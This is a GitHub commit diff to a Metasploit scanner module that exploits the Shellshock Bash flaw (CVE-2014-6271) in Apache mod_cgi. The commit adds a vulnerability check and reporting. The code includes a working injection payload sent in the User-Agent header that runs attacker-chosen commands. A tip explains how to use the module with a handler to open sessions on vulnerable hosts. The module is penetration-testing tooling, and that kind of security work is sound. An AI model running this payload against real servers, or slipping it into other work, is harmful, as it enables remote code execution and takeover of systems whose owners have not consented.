Skip to content

Commit e0fc30c

Browse files
committed
Land rapid7#3884, @wvu's check and reporting for apache_mod_cgi_bash_env
2 parents 979d046 + f66c854 commit e0fc30c

File tree

1 file changed

+45
-6
lines changed

1 file changed

+45
-6
lines changed

modules/auxiliary/scanner/http/apache_mod_cgi_bash_env.rb

Lines changed: 45 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -9,6 +9,7 @@ class Metasploit4 < Msf::Auxiliary
99

1010
include Msf::Exploit::Remote::HttpClient
1111
include Msf::Auxiliary::Scanner
12+
include Msf::Auxiliary::Report
1213

1314
def initialize(info = {})
1415
super(update_info(info,
@@ -17,14 +18,18 @@ def initialize(info = {})
1718
This module exploits a code injection in specially crafted environment
1819
variables in Bash, specifically targeting Apache mod_cgi scripts through
1920
the HTTP_USER_AGENT variable.
21+
22+
PROTIP: Use exploit/multi/handler with a PAYLOAD appropriate to your
23+
CMD, set ExitOnSession false, run -j, and then run this module to create
24+
sessions on vulnerable hosts.
2025
},
2126
'Author' => [
2227
'Stephane Chazelas', # Vulnerability discovery
2328
'wvu' # Metasploit module
2429
],
2530
'References' => [
2631
['CVE', '2014-6271'],
27-
['URL', 'https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/'],
32+
['URL', 'https://access.redhat.com/articles/1200223'],
2833
['URL', 'http://seclists.org/oss-sec/2014/q3/649']
2934
],
3035
'DisclosureDate' => 'Sep 24 2014',
@@ -38,18 +43,52 @@ def initialize(info = {})
3843
OptString.new('CMD', [true, 'Command to run (absolute paths required)',
3944
'/usr/bin/id'])
4045
], self.class)
46+
47+
@marker = marker
48+
end
49+
50+
def check_host(ip)
51+
res = req("echo #{@marker}")
52+
53+
if res && res.body.include?(@marker * 3)
54+
report_vuln(
55+
:host => ip,
56+
:port => rport,
57+
:name => self.name,
58+
:refs => self.references
59+
)
60+
Exploit::CheckCode::Vulnerable
61+
else
62+
Exploit::CheckCode::Safe
63+
end
4164
end
4265

4366
def run_host(ip)
44-
res = send_request_raw(
67+
return unless check_host(ip) == Exploit::CheckCode::Vulnerable
68+
69+
res = req(datastore['CMD'])
70+
71+
if res && res.body =~ /#{@marker}(.+)#{@marker}/m
72+
print_good("#{peer} - #{$1}")
73+
report_vuln(
74+
:host => ip,
75+
:port => rport,
76+
:name => self.name,
77+
:refs => self.references
78+
)
79+
end
80+
end
81+
82+
def req(cmd)
83+
send_request_cgi(
4584
'method' => datastore['METHOD'],
4685
'uri' => normalize_uri(target_uri.path),
47-
'agent' => "() { :;}; #{datastore['CMD']}"
86+
'agent' => "() { :;};echo #{@marker}$(#{cmd})#{@marker}"
4887
)
88+
end
4989

50-
if res && res.code == 200
51-
vprint_good("#{peer} - #{res.body}")
52-
end
90+
def marker
91+
Rex::Text.rand_text_alphanumeric(rand(42) + 1)
5392
end
5493

5594
end

0 commit comments

Comments
 (0)